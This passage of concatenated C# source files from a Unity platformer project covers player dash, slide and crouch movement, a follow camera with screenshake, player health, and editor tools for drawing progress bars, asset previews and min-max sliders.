_speed = Mathf.SmoothStep(attributes.DashNormalSpeed, attributes.DashBreakSpeed, _time / _breakTransitDuration);
if (_time > _breakTransitDuration)
{
_time -= _breakTransitDuration;
AddInstantForce(new Vector2(_side * _speed * -(_time - Time.deltaTime), 0));
_step = 4;
continue;
}
break;
case 4:
if (_time > _breakDuration)
{
_time -= _breakDuration;
AddInstantForce(new Vector2(_side * _speed * -(_time - Time.deltaTime), 0));
_loop = false;
continue;
}
break;
}
// Dash
AddInstantForce(new Vector2(_side * _speed * Time.deltaTime, 0));
yield return null;
_time += Time.deltaTime;
}
isDashing = false;
IsPlayable = true;
}
private void StopDash()
{
if (isDashing)
{
IsPlayable = true;
isDashing = false;
StopCoroutine(dashCoroutine);
dashCoroutine = null;
}
}
#endregion
#region Slide
private Coroutine slideCoroutine = null;
private bool Slide()
{
if (isGrounded && !isJumping && !isSliding && !isCrouched)
{
slideCoroutine = StartCoroutine(DoSlide());
return true;
}
return false;
}
private IEnumerator DoSlide()
{
isSliding = true;
animator.SetBool(anim_SlideID, true);
float _momentum = Mathf.Clamp((lastMovement + force.x) / attributes.SpeedCurve[attributes.SpeedCurve.length - 1].value, -1, 1);
float _maxMomentum = _momentum * attributes.SlideMaxMomentumCoef;
float _minMomentum = _momentum * attributes.SlideMinMomentumCoef;
float _movement = _maxMomentum;
float _forceMomentum = lastMovement * attributes.SlideForceCoef;
if (hasJustLanded)
{
_maxMomentum *= attributes.SlideOnLandCoef;
_forceMomentum *= attributes.SlideOnLandCoef;
}
// If moving, add extra X velocity to the player.
AddForce(new Vector2(_forceMomentum, 0));
// Perform slide over time following the curve.
float _time = 0;
float _limit = attributes.SlideDuration;
float _treshold = _limit * .85f;
bool _isHolding = true;
// While holding the slide button and havn't reached slide maximum duration,
// add more movement.
while (_time < _limit)
{
// Move on.
MoveHorizontally(_movement);
_movement = Mathf.SmoothStep(_maxMomentum, _minMomentum, _time / _limit);
// If releasing slide button before max duration,
// continue adding some intertia.
if ((_time > .25f) && _isHolding && !Input.GetKey(KeyCode.C) && !Input.GetKey(KeyCode.Joystick1Button1))
{
_isHolding = false;
if (_time < _treshold)
_time = _treshold;
}
yield return null;
_time = Mathf.Min(_time + Time.deltaTime, _limit);
}
isSliding = false;
if (Input.GetKey(KeyCode.C) || Input.GetKey(KeyCode.Joystick1Button1) || !CanGetUp())
Crouch();
animator.SetBool(anim_SlideID, false);
slideCoroutine = null;
yield break;
}
public void StopSlide()
{
if (isSliding)
{
isSliding = false;
animator.SetBool(anim_SlideID, false);
StopCoroutine(slideCoroutine);
slideCoroutine = null;
}
}
#endregion
#region Crouch
private void Crouch()
{
if (!isCrouched)
{
isCrouched = true;
animator.SetBool(anim_CrouchID, true);
}
}
private bool CanGetUp()
{
return Physics2D.OverlapCapsule(transform.position + attributes.colliderBounds.center, attributes.colliderBounds.extents - (Vector3.one * .001f), CapsuleDirection2D.Vertical, 0, contactFilter, overlapBuffer) == 0;
}
private void GetUp()
{
if (isCrouched && CanGetUp())
{
isCrouched = false;
animator.SetBool(anim_CrouchID, false);
}
}
#endregion
#region Monobehaviour
protected override void OnEnable()
{
base.OnEnable();
if (isPlayable)
UpdateManager.Instance.Register((IInputUpdate)this);
}
protected override void OnDisableCallback()
{
base.OnDisableCallback();
if (isPlayable)
UpdateManager.Instance.Unregister((IInputUpdate)this);
}
private void OnDestroy()
{
PlayerCamera.Instance?.RemovePlayer();
}
protected override void Start()
{
base.Start();
PlayerCamera.Instance.SetPlayer(collider);
}
#endregion
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Core/Attributes/Properties/RequiredAttribute.cs
using System;
using UnityEngine;
namespace EnhancedEditor
{
[AttributeUsage(AttributeTargets.Field, AllowMultiple = false, Inherited = true)]
public class RequiredAttribute : PropertyAttribute
{
#region Constructors
/********************************
******* CONSTRUCTORS *******
*******************************/
/// <summary>
/// Draw a field for a required object reference, with an error help box
/// if set to null (useful to remind user from setting object value).
/// </summary>
public RequiredAttribute() { }
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Core/Enums/HelpBoxType.cs
namespace EnhancedEditor
{
/// <summary>
/// Used to simulate <see cref="UnityEditor.MessageType"/> without using UnityEditor namespace.
/// </summary>
public enum HelpBoxType
{
Info = 1,
Warning,
Error
}
}
<file_sep>/Assets/Scripts/Camera/PlayerCamera.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// ========================================================================== //
using EnhancedEditor;
using System.Collections;
using UnityEngine;
namespace Nowhere
{
public class PlayerCamera : UpdatedBehaviour, ICameraUpdate
{
#region Fields
/// <summary>
/// Singleton instance.
/// </summary>
public static PlayerCamera Instance { get; private set; }
// -----------------------
[Section("CAMERA", 50, 0, order = 0), HorizontalLine(2, SuperColor.Chocolate, order = 1)]
[SerializeField, Required] private PlayerCameraAttributes attributes = null;
[SerializeField, Required] private new Camera camera = null;
[HorizontalLine(1, order = 0)]
[HelpBox("Followed player, kept between screen center related bounds", HelpBoxType.Info, order = 1)]
[SerializeField, ReadOnly] private bool isPlayerAssigned = false;
[SerializeField, ReadOnly] private Collider2D player = null;
private float facingSide = 1;
[HorizontalLine(2, SuperColor.Sapphire)]
[SerializeField, ReadOnly] private bool isMoving = false;
[SerializeField, ReadOnly] private float shakeTrauma = 0;
// -----------------------
#if UNITY_EDITOR
[Section("EDITOR", 25, 0, order = 0), HorizontalLine(2, SuperColor.Grey, order = 1)]
[SerializeField] private bool doDrawBounds = false;
[SerializeField] private SuperColor boundsColor = SuperColor.Silver;
#endif
#endregion
#region Methods
#region Player
/// <summary>
/// Update the camera position and make it follow its target.
/// </summary>
void ICameraUpdate.Update()
{
if (!isPlayerAssigned)
return;
// Initialization
Bounds _bounds = GetPlayerBounds();
Bounds _target = player.bounds;
Vector2 _movement = Vector2.zero;
// Horizontal movement.
float _boundsCalcul = (_target.center.x + _target.extents.x) - (_bounds.center.x + _bounds.extents.x);
if (_boundsCalcul > 0)
_movement.x = _boundsCalcul;
else
{
_boundsCalcul = (_target.center.x - _target.extents.x) - (_bounds.center.x - _bounds.extents.x);
if (_boundsCalcul < 0)
_movement.x = _boundsCalcul;
}
// Vertical movement.
_boundsCalcul = (_target.center.y + _target.extents.y) - (_bounds.center.y + _bounds.extents.y);
if (_boundsCalcul > 0)
_movement.y = _boundsCalcul;
else
{
_boundsCalcul = (_target.center.y - _target.extents.y) - (_bounds.center.y - _bounds.extents.y);
if (_boundsCalcul < 0)
_movement.y = _boundsCalcul;
}
// Check if target remains in bounds.
if (_movement.IsNull())
{
if (isMoving)
isMoving = false;
return;
}
if (!isMoving)
isMoving = true;
// Move 10% closer to the target each frame.
_movement *= attributes.Speed * Time.deltaTime;
transform.position = new Vector3(transform.position.x + _movement.x, transform.position.y + _movement.y, -10);
}
private Bounds GetPlayerBounds()
{
Bounds _bounds = attributes.TargetBounds;
_bounds.center = new Vector3(_bounds.center.x * facingSide, _bounds.center.y, _bounds.center.z) + transform.position;
return _bounds;
}
// -----------------------
/// <summary>
/// Set player facing side.
/// </summary>
public void SetFacingSide(float _facingSide)
{
facingSide = _facingSide;
}
/// <summary>
/// Set player collider to follow.
/// </summary>
public void SetPlayer(Collider2D _playerCollider)
{
isPlayerAssigned = true;
player = _playerCollider;
}
/// <summary>
/// Remove player to follow.
/// </summary>
public void RemovePlayer()
{
isPlayerAssigned = false;
player = null;
}
#endregion
#region Screenshake
private Coroutine screenshakeCoroutine = null;
// -----------------------
public void Shake(float _trauma)
{
shakeTrauma = Mathf.Clamp01(shakeTrauma + _trauma);
if (screenshakeCoroutine == null)
screenshakeCoroutine = StartCoroutine(DoShake());
}
private IEnumerator DoShake()
{
while (shakeTrauma > 0)
{
float _trauma = Mathf.Pow(shakeTrauma, attributes.ShakeTraumaPower);
float _angle = attributes.ShakeMaxAngle * _trauma * ((Mathf.PerlinNoise(0, Time.time * attributes.ShakeForce) * 2) - 1);
float _offsetX = attributes.ShakeMaxOffset.x * _trauma * ((Mathf.PerlinNoise(1, Time.time * attributes.ShakeForce) * 2) - 1);
float _offsetY = attributes.ShakeMaxOffset.y * _trauma * ((Mathf.PerlinNoise(2, Time.time * attributes.ShakeForce) * 2) - 1);
camera.transform.localEulerAngles = new Vector3(0, 0, _angle);
camera.transform.localPosition = new Vector3(_offsetX, _offsetY, 0);
yield return null;
shakeTrauma = Mathf.Max(shakeTrauma - (Time.deltaTime * attributes.ShakeSoftening), 0);
}
camera.transform.localEulerAngles = Vector3.zero;
camera.transform.localPosition = Vector3.zero;
screenshakeCoroutine = null;
}
#endregion
#region Monobehaviour
private void Awake()
{
// Singleton set.
if (!Instance)
Instance = this;
else
Destroy(gameObject);
}
private void OnEnable()
{
UpdateManager.Instance.Register(this);
}
protected override void OnDisableCallback()
{
UpdateManager.Instance.Unregister(this);
}
private void OnDestroy()
{
if (Instance == this)
Instance = null;
}
#if UNITY_EDITOR
private void OnDrawGizmos()
{
// Draw target bounds on screen.
if (doDrawBounds && attributes)
{
Color _originalColor = Gizmos.color;
Gizmos.color = boundsColor.GetColor();
Gizmos.DrawWireCube(GetPlayerBounds().center + Vector3.forward, attributes.TargetBounds.size);
Gizmos.color = _originalColor;
}
}
#endif
#endregion
#endregion
}
}
<file_sep>/Assets/Scripts/Utilities/BoolExtensions.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// ========================================================================== //
namespace Nowhere
{
public static class BoolExtensions
{
#region Methods
/// <summary>
/// Get this boolean as a sign.
/// 1 if true, -1 otherwise.
/// </summary>
/// <param name="_bool">Boolean to get sign from.</param>
/// <returns>Returns this boolean sign as 1 or -1.</returns>
public static int Sign(this bool _bool) => Mathm.Sign(_bool);
#endregion
}
}
<file_sep>/Assets/Scripts/Player/PlayerHealth.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// ========================================================================== //
using EnhancedEditor;
using UnityEngine;
namespace Nowhere
{
public class PlayerHealth : Damageable
{
#region Fields
[HorizontalLine(1, order = 0), Section("PLAYER HEALTH", 50, 0, order = 1), HorizontalLine(2, SuperColor.DarkOrange, order = 2)]
[SerializeField, Required] private PlayerController controller = null;
[SerializeField, Required] private PlayerCombatSystem combatSystem = null;
#endregion
#region Methods
public override bool TakeDamage(int _damages)
{
if (!base.TakeDamage(_damages))
return false;
combatSystem.ComboBreaker();
return true;
}
protected override void Die()
{
base.Die();
// Deactive player systems.
controller.enabled = combatSystem.enabled = enabled = false;
}
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Editor/Attributes/PropertyDrawers/MinMaxPropertyDrawer.cs
using UnityEditor;
using UnityEngine;
namespace EnhancedEditor.Editor
{
[CustomPropertyDrawer(typeof(MinMaxAttribute))]
public class MinMaxPropertyDrawer : PropertyDrawer
{
#region Methods
/***************************
******* METHODS *******
**************************/
// Make your own IMGUI based GUI for the property
public override void OnGUI(Rect _position, SerializedProperty _property, GUIContent _label)
{
MinMaxAttribute _attribute = (MinMaxAttribute)attribute;
EditorGUIEnhanced.MinMaxField(_position, _property, _label, _attribute.Minvalue, _attribute.MaxValue);
}
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Core/Attributes/Properties/AssetPreviewAttribute.cs
using System;
using UnityEngine;
namespace EnhancedEditor
{
[AttributeUsage(AttributeTargets.Field, AllowMultiple = false, Inherited = true)]
public class AssetPreviewAttribute : PropertyAttribute
{
#region Fields
/*****************************
******* CONSTANTS *******
****************************/
/// <summary>
/// Default asset preview aspect (in pixels).
/// </summary>
public const float DefaultAspect = 75;
/**************************
******* FIELDS *******
*************************/
/// <summary>
/// Indicates if the asset preview is currently
/// displayed in the editor or not.
/// </summary>
public bool Fodlout = true;
/// <summary>
/// Aspect of the asset preview displayed in the editor (in pixels).
/// </summary>
public readonly float Aspect = DefaultAspect;
#endregion
#region Constructors
/********************************
******* CONSTRUCTORS *******
*******************************/
/// <summary>
/// Display a preview of the asset assigned to this field.
/// </summary>
/// <param name="_width">Asset preview width (in pixels).</param>
/// <param name="_height">Asset preview height (in pixels).</param>
public AssetPreviewAttribute(float _aspect = DefaultAspect)
{
Aspect = Mathf.Max(1, _aspect);
}
#endregion
}
}
<file_sep>/Assets/EnhancedEditor/Scripts/Editor/Utility/EditorGUIEnhanced.cs
using System;
using UnityEditor;
using UnityEngine;
namespace EnhancedEditor.Editor
{
/// <summary>
/// Contain a bunch of useful methods for GUI related to the <see cref="EnhancedEditor"/> plugin.
/// </summary>
public static class EditorGUIEnhanced
{
#region Fields / Properties
/**************************
******* FIELDS *******
*************************/
/// <summary>
/// Indicates if the user is currently dragging a progress bar.
/// </summary>
private static bool isDraggingProgressBar = false;
#endregion
#region Methods
#region Property Drawers
#region Asset Preview
/*********************************
******* ASSET PREVIEW *******
********************************/
/// <summary>
/// Draw an property field with an asset preview below it.
/// </summary>
/// <param name="_position">Rect to draw field in.</param>
/// <param name="_property">Property to display and draw asset preview.</param>
/// <param name="_foldout">The shown asset preview foldout state.</param>
/// <returns>Returns new asset preview foldout state.</returns>
public static bool AssetPreviewField(Rect _position, SerializedProperty _property, bool _foldout) => AssetPreviewField(_position, _property, EditorGUIUtilityEnhanced.GetPropertyLabel(_property), _foldout);
/// <summary>
/// Draw an property field with an asset preview below it.
/// </summary>
/// <param name="_position">Rect to draw field in.</param>
/// <param name="_property">Property to display and draw asset preview.</param>
/// <param name="_label">Displayed label.</param>
/// <param name="_foldout">The shown asset preview foldout state.</param>
/// <returns>Returns new asset preview foldout state.</returns>
public static bool AssetPreviewField(Rect _position, SerializedProperty _property, GUIContent _label, bool _foldout)
{
Texture2D _texture = EditorGUIUtilityEnhanced.GetAssetPreview(_property);
// Display property field
Rect _rect = new Rect()
{
x = _position.x,
y = _position.y,
width = _position.width - (_texture ? 25 : 0),
height = EditorGUIUtility.singleLineHeight
};
EditorGUI.PropertyField(_rect, _property, _label);
// If no texture, draw nothing
if (!_texture)
{
// If property is not valid, display informative box
if (_property.propertyType != SerializedPropertyType.ObjectReference)
{
_position.y += _rect.height + EditorGUIUtility.standardVerticalSpacing;
_position.height = EditorGUIUtilityEnhanced.DefaultHelpBoxHeight;
EditorGUI.HelpBox(_position, "Asset Preview attribute can only be used with object reference type fields !", MessageType.Error);
}
return false;
}
// Display foldout button next to property field
_rect.x += _position.width - 5;
_rect.width = _position.width - _rect.width;
_foldout = EditorGUI.Foldout(_rect, _foldout, GUIContent.none);
// If visible & assigned, display asset preview
if (_foldout)
{
float _space = _rect.height + EditorGUIUtility.standardVerticalSpacing;
float _aspect = _position.height - _space;
_position.x += _position.width - 25 - _aspect;
_position.y += _space;
_position.width = _aspect;
_position.height = _aspect;
EditorGUI.DrawPreviewTexture(_position, _texture);
}
return _foldout;
}
#endregion
#region Property Field
/**********************************
******* PROPERTY FIELD *******
*********************************/
/// <summary>
/// Draw a serialized property field associated with another property ;
/// when setting field value, associated property will be set automatically.
/// Usefull for clamping value or calling event on inspector edit.
/// </summary>
/// <param name="_position">Rect to draw field in.</param>
/// <param name="_property">Serialized property to edit.</param>
/// <param name="_propertyName">Name of the associated property (must be in the same script as the property field).</param>
public static void PropertyField(Rect _position, SerializedProperty _property, string _propertyName) => PropertyField(_position, _property, EditorGUIUtilityEnhanced.GetPropertyLabel(_property), _propertyName);
/// <summary>
/// Draw a serialized property field associated with another property ;
/// when setting field value, associated property will be set automatically.
/// Usefull for clamping value or calling event on inspector edit.
/// </summary>
/// <param name="_position">Rect to draw field in.</param>
/// <param name="_property">Serialized property to edit.</param>
/// <param name="_label">Displayed label.</param>
/// <param name="_propertyName">Name of the associated property (must be in the same script as the property field).</param>
public static void PropertyField(Rect _position, SerializedProperty _property, GUIContent _label, string _propertyName)
{
// Draw property field and new value by reflection
EditorGUI.BeginChangeCheck();
EditorGUI.PropertyField(_position, _property, _label);
if (EditorGUI.EndChangeCheck())
{
_property.serializedObject.ApplyModifiedProperties();
EditorGUIUtilityEnhanced.SetPropertyValue(_property, _propertyName);
}
}
#endregion
#region Progress Bar
/********************************
******* PROGRESS BAR *******
*******************************/
/********** UTILITY **********/
/// <summary>
/// Try to get a progress bar max value or display error box.
/// </summary>
/// <param name="_position">Rect to draw error box if needed.</param>
/// <param name="_property">Object to get variable value from.</param>
/// <param name="_maxValueVariableName">Name of the variable acting as maximum value.</param>
/// <param name="_maxValue">Max value.</param>
/// <returns>Returns false if variable type is incompatible, true otherwise.</returns>
private static bool TryGetProgressBarMaxValue(Rect _position, SerializedProperty _property, string _maxValueVariableName, out float _maxValue)
{
// Try to get progress bar max value
if (EditorGUIUtilityEnhanced.GetSerializedObjectFieldOrPropertyValueAsSingle(_property.serializedObject, _maxValueVariableName, out _maxValue)) return true;
// If variable type is not comptatible, show error box
EditorGUI.HelpBox(_position, $"Error : {_property.name} field | \"{_maxValueVariableName}\" value cannot be converted to single !", MessageType.Error);
return false;
}
/// <summary>
/// Try to get a progress bar value or display error box.
/// </summary>
/// <param name="_position">Rect to draw error box if needed.</param>
/// <param name="_property">Property to get value from.</param>
/// <param name="_value">Value of the property.</param>
/// <returns>Returns false if property type is incompatible, true otherwise.</returns>
private static bool TryGetProgressBarValue(Rect _position, SerializedProperty _property, out float _value)
{
// Try to get progress bar value
if (EditorGUIUtilityEnhanced.GetPropertyValueAsSingle(_property, out _value)) return true;
// If property type is not comptatible, show error box
EditorGUI.HelpBox(_position, $"Error : {_property.name} field | Progress bar cannot be used with \"{_property.propertyType}\" variable type !", MessageType.Error);
return false;
}
/********** EDITABLE **********/
/// <summary>
/// Draw an editable progress bar.
/// </summary>
/// <param name="_position">Rect to draw progress bar.</param>
/// <param name="_property">Property used as value in bar progression.</param>
/// <param name="_maxValueVariableName">Name of the variable used as maximum value (must be in the same script as the property).</param>
/// <param name="_color">Bar color.</param>
public static void EditableProgressBar(Rect _position, SerializedProperty _property, string _maxValueVariableName, Color _color) => EditableProgressBar(_position, EditorGUIUtilityEnhanced.GetPropertyLabel(_property), _property, _maxValueVariableName, _color);
/// <summary>
/// Draw an editable progress bar.
/// </summary>
/// <param name="_position">Rect to draw progress bar.</param>
/// <param name="_label">Label displayed in the middle of the bar.</param>
/// <param name="_property">Property used as value in bar progression.</param>
/// <param name="_maxValueVariableName">Name of the variable used as maximum value (must be in the same script as the property).</param>
/// <param name="_color">Bar color.</param>
public static void EditableProgressBar(Rect _position, GUIContent _label, SerializedProperty _property, string _maxValueVariableName, Color _color)
{
// Convert indicated maximum variable value to single, or display error box
if (!TryGetProgressBarMaxValue(_position, _property, _maxValueVariableName, out float _maxValue)) return;
// Draw editable progress bar
EditableProgressBar(_position, _label, _property, _maxValue, _color);
}
/// <summary>
/// Draw an editable progress bar.
/// </summary>
/// <param name="_position">Rect to draw progress bar.</param>
/// <param name="_property">Property used as value in bar progression.</param>
/// <param name="_maxValue">Bar maximum value.</param>
/// <param name="_color">Bar color.</param>
public static void EditableProgressBar(Rect _position, SerializedProperty _property, float _maxValue, Color _color) => EditableProgressBar(_position, EditorGUIUtilityEnhanced.GetPropertyLabel(_property), _property, _maxValue, _color);
/// <summary>
/// Draw an editable progress bar.
/// </summary>
/// <param name="_position">Rect to draw progress bar.</param>
/// <param name="_label">Label displayed in the middle of the bar.</param>
/// <param name="_property">Property used as value in bar progression.</param>
/// <param name="_maxValue">Bar maximum value.</param>
/// <param name="_color">Bar color.</param>
public static void EditableProgressBar(Rect _position, GUIContent _label, SerializedProperty _property, float _maxValue, Color _color)
{
// Convert property value to single, or display error box
if (!TryGetProgressBarValue(_position, _property, out float _value)) return;
// Draw editable progress bar
float _newValue = EditableProgressBar(_position, _label, _value, _maxValue, _color);
// If value changed, set it
if (_value != _newValue)
{
switch (_property.propertyType)
{
case SerializedPropertyType.Enum:
_property.enumValueIndex = Mathf.RoundToInt(_newValue);
break;
case SerializedPropertyType.Integer:
_property.intValue = Mathf.RoundToInt(_newValue);
break;
case SerializedPropertyType.Float:
_property.floatValue = _newValue;
break;
}
}
}
/// <summary>
/// Draw an editable progress bar.
/// </summary>
/// <param name="_position">Rect to draw progress bar.</param>
/// <param name="_label">Label displayed in the middle of the bar.</param>
/// <param name="_value">Bar progression value.</param>
/// <param name="_maxValue">Bar maximum value.</param>
/// <param name="_color">Bar color.</param>
/// <returns>Returns new progress bar value.</returns>
public static float EditableProgressBar(Rect _position, GUIContent _label, float _value, float _maxValue, Color _color)
{
// First, draw progress bar
ProgressBar(_position, _label, _value, _maxValue, _color);
// Then, return new value
return MakeEditableProgressBar(_position, _value, _maxValue);
}
/// <summary>
/// Make editable progress bar.
/// </summary>
/// <param name="_position">Progress bar position.</param>
/// <param name="_value">Progress bar actual value.</param>
/// <param name="_maxValue">Progress bar max value.</param>
/// <returns>Returns new progress bar value.</returns>
private static float MakeEditableProgressBar(Rect _position, float _value, float _maxValue)
{
// Get current event and a hot control
Event _event = Event.current;
int _controlID = GUIUtility.GetControlID(FocusType.Passive);
// Allow user to drag bar value if not already doing it
if (!isDraggingProgressBar)
{
_position.x += (_position.width * Mathf.Clamp(_value / _maxValue, 0, 1)) - 5;
_position.width = 10;
// Change cursor when at the edge of filled bar
EditorGUIUtility.AddCursorRect(_position, MouseCursor.ResizeHorizontal);
if ((_event.GetTypeForControl(_controlID) == EventType.MouseDown) && _position.Contains(_event.mousePosition))
{
// Set using hot control and use event
GUIUtility.hotControl = _controlID;
_event.Use();
isDraggingProgressBar = true;
}
}
// If dragging it, change editing value on mouse move
else
{
// Change cursor while mouse is in property rect
EditorGUIUtility.AddCursorRect(_position, MouseCursor.ResizeHorizontal);
// While dragging, set variable value
if (_event.GetTypeForControl(_controlID) == EventType.MouseDrag)
{
// Set using hot control and use event
GUIUtility.hotControl = _controlID;
_event.Use();
// Return clamped value on mouse position
float _newValue = (float)Math.Round(((_event.mousePosition.x - _position.x) / _position.width) * _maxValue, 2);
return Mathf.Clamp(_newValue, 0, _maxValue);
}
// Stop dragging when releasing mouse
if (_event.GetTypeForControl(_controlID) == EventType.MouseUp)
{
// Reset hot control and use event
GUIUtility.hotControl = 0;
_event.Use();
isDraggingProgressBar = false;
}
}
// Return value if not changed
return _value;
}
/********** READ ONLY **********/
/// <summary>
/// Draw a progress bar.
/// </summary>
/// <param name="_position">Rect to draw progress bar.</param>
/// <param name="_property">Property used as value in bar progression.</param>
/// <param name="_maxValueVariableName">Name of the variable used as maximum value (must be in the same script as the property).</param>
/// <param name="_color">Bar color.</param>
public static void ProgressBar(Rect _position, SerializedProperty _property, string _maxValueVariableName, Color _color) => ProgressBar(_position, EditorGUIUtilityEnhanced.GetPropertyLabel(_property), _property, _maxValueVariableName, _color);
/// <summary>
/// Draw a progress bar.
/// </summary>
/// <param name="_position">Rect to draw progress bar.</param>
/// <param name="_label">Label displayed in the middle of the bar.</param>
/// <param name="_property">Property used as value in bar progression.</param>
/// <param name="_maxValueVariableName">Name of the variable used as maximum value (must be in the same script as the property).</param>
/// <param name="_color">Bar color.</param>
public static void ProgressBar(Rect _position, GUIContent _label, SerializedProperty _property, string _maxValueVariableName, Color _color)
{
// Convert indicated maximum variable value to single, or display error box
if (!TryGetProgressBarMaxValue(_position, _property, _maxValueVariableName, out float _maxValue)) return;
// Draw progress bar
ProgressBar(_position, _label, _property, _maxValue, _color);
}
/// <summary>
/// Draw a progress bar.
/// </summary>
/// <param name="_position">Rect to draw progress bar.</param>
/// <param name="_property">Property used as value in bar progression.</param>
/// <param name="_maxValue">Bar maximum value.</param>
/// <param name="_color">Bar color.</param>
public static void ProgressBar(Rect _position, SerializedProperty _property, float _maxValue, Color _color) => ProgressBar(_position, EditorGUIUtilityEnhanced.GetPropertyLabel(_property), _property, _maxValue, _color);
/// <summary>
/// Draw a progress bar.
/// </summary>
/// <param name="_position">Rect to draw progress bar.</param>
/// <param name="_label">Label displayed in the middle of the bar.</param>
/// <param name="_property">Property used as value in bar progression.</param>
/// <param name="_maxValue">Bar maximum value.</param>
/// <param name="_color">Bar color.</param>
public static void ProgressBar(Rect _position, GUIContent _label, SerializedProperty _property, float _maxValue, Color _color)
{
// Convert property value to single, or display error box
if (!TryGetProgressBarValue(_position, _property, out float _value)) return;
// Draw progress bar
ProgressBar(_position, _label, _value, _maxValue, _color);
}
/// <summary>
/// Draw a progress bar.
/// </summary>
/// <param name="_position">Rect to draw progress bar.</param>
/// <param name="_label">Label displayed in the middle of the bar.</param>
/// <param name="_value">Bar progression value.</param>
/// <param name="_maxValue">Bar maximum value.</param>
/// <param name="_color">Bar color.</param>
public static void ProgressBar(Rect _position, GUIContent _label, float _value, float _maxValue, Color _color)
{
// Let's draw the bar
// First, draw filled bar
Rect _barRect = new Rect(_position.x, _position.y, _position.width * Mathf.Clamp(_value / _maxValue, 0, 1), _position.height);
EditorGUI.DrawRect(_barRect, _color);
// Now, draw empty bar if not full
if (_barRect.width < _position.width)
{
_barRect.x += _barRect.width;
_barRect.width = _position.width - _barRect.width;
EditorGUI.DrawRect(_barRect, SuperColor.SmokyBlack.GetColor());
}
// Now let's draw the label ; first, get label value
_label.text = $"[{_label.text}]{(_position.height > EditorGUIUtility.singleLineHeight * 2 ? "\n" : " ")}{_value.ToString("0.##")} / {_maxValue}";
// Then resize rect position
Vector2 _labelSize = EditorStyles.boldLabel.CalcSize(_label);
_position.x += _position.x + ((_position.width - _labelSize.x) / 2f);
_position.y += ((_position.height - _labelSize.y) / 2f) - 2;
_position.size = _labelSize;
// And finaly draw it in a shadow style
EditorGUI.DropShadowLabel(_position, _label);
}
#endregion
#region Min Max
/*****************************
******** MIN MAX ********
****************************/
/// <summary>
/// Draw a min max slider field for a vector2.
/// </summary>
/// <param name="_position">Rect to draw field.</param>
/// <param name="_property">Editing property.</param>
/// <param name="_minLimit">Min allowed limit value.</param>
/// <param name="_maxLimit">Max allowed limit value.</param>
public static void MinMaxField(Rect _position, SerializedProperty _property, float _minLimit, float _maxLimit) => MinMaxField(_position, _property, EditorGUIUtilityEnhanced.GetPropertyLabel(_property), _minLimit, _maxLimit);
/// <summary>
/// Draw a min max slider field for a vector2.
/// </summary>
/// <param name="_position">Rect to draw field.</param>
/// <param name="_property">Editing property.</param>
/// <param name="_label">Displayed label.</param>
/// <param name="_minLimit">Min allowed limit value.</param>
/// <param name="_maxLimit">Max allowed limit value.</param>
public static void MinMaxField(Rect _position, SerializedProperty _property, GUIContent _label, float _minLimit, float _maxLimit)
{
switch (_property.propertyType)
{
// Draw Vector2 slider
case SerializedPropertyType.Vector2:
{
Vector2 _vector = _property.vector2Value;
EditorGUI.BeginChangeCheck();
MinMaxField(_position, _label, ref _vector.x, ref _vector.y, _minLimit, _maxLimit);
if (EditorGUI.EndChangeCheck())
_property.vector2Value = _vector;
break;
}
// Draw Vector2Int slider
case SerializedPropertyType.Vector2Int:
{
Vector2 _vector = _property.vector2IntValue;
EditorGUI.BeginChangeCheck();
MinMaxField(_position, _label, ref _vector.x, ref _vector.y, _minLimit, _maxLimit);
if (EditorGUI.EndChangeCheck())
_property.vector2IntValue = new Vector2Int((int)_vector.x, (int)_vector.y);
break;
}
// Draw informative box
default:
EditorGUI.HelpBox(_position, "Min Max fields can only be used with Vector2 !", MessageType.Error);
return;
}
}
/// <summary>
/// Draw a min max slider field for a vector2.
/// </summary>
/// <param name="_position">Rect to draw field.</param>
/// <param name="_label">Displayed label.</param>
/// <param name="_vector">Vector used to store min & max values in.</param>
/// <param name="_minLimit">Min allowed limit value.</param>
/// <param name="_maxLimit">Max allowed limit value.</param>
public static void MinMaxField(Rect _position, GUIContent _label, Vector2 _vector, float _minLimit, float _maxLimit) => MinMaxField(_position, _label, ref _vector.x, ref _vector.y, _minLimit, _maxLimit);
/// <summary>
/// Draw a min max slider field for a vector2.
/// </summary>
/// <param name="_position">Rect to draw field.</param>
/// <param name="_label">Displayed label.</param>
/// <param name="_vector">Vector used to store min & max values in.</param>
/// <param name="_minLimit">Min allowed limit value.</param>
/// <param name="_maxLimit">Max allowed limit value.</param>
public static void MinMaxField(Rect _position, GUIContent _label, Vector2Int _vector, float _minLimit, float _maxLimit)
{
Vector2 _newVector = _vector;
EditorGUI.BeginChangeCheck();
MinMaxField(_position, _label, ref _newVector.x, ref _newVector.y, _minLimit, _maxLimit);
if (EditorGUI.EndChangeCheck())
{
_vector.x = (int)_newVector.x;
_vector.y = (int)_newVector.y;
}
}
/// <summary>
/// Draw a min max slider field.
/// </summary>
/// <param name="_position">Rect to draw field.</param>
/// <param name="_label">Displayed label.</param>
/// <param name="_minValue">Editing minimum value.</param>
/// <param name="_maxValue">Editing maximum value.</param>
/// <param name="_minLimit">Min allowed limit value.</param>
/// <param name="_maxLimit">Max allowed limit value.</param>
public static void MinMaxField(Rect _position, GUIContent _label, ref float _minValue, ref float _maxValue, float _minLimit, float _maxLimit)
{
// Calcul rects
Rect _labelRect = new Rect()
{
x = _position.x,
y = _position.y,
width = EditorGUIUtility.labelWidth,
height = _position.height
};
float _fieldWidth = (_position.width - _labelRect.width) / 5f;
Rect _fieldRect = new Rect()
{
x = _labelRect.xMax,
y = _position.y,
width = _fieldWidth - EditorGUIUtilityEnhanced.StandardHorizontalSeparator,
height = _position.height
};
Rect _sliderRect = new Rect()
{
x = _fieldRect.xMax + EditorGUIUtilityEnhanced.StandardHorizontalSeparator,
y = _position.y,
width = _fieldWidth * 3,
height = _position.height
};
// Draw label
EditorGUI.LabelField(_labelRect, _label);
// Draw min value field
float _newMinValue = EditorGUI.FloatField(_fieldRect, _minValue);
if (_newMinValue != _minValue)
_minValue = Mathf.Clamp(_newMinValue, _minLimit, _maxValue);
// Draw min max slider
EditorGUI.MinMaxSlider(_sliderRect, ref _minValue, ref _maxValue, _minLimit, _maxLimit);
// Draw max value field
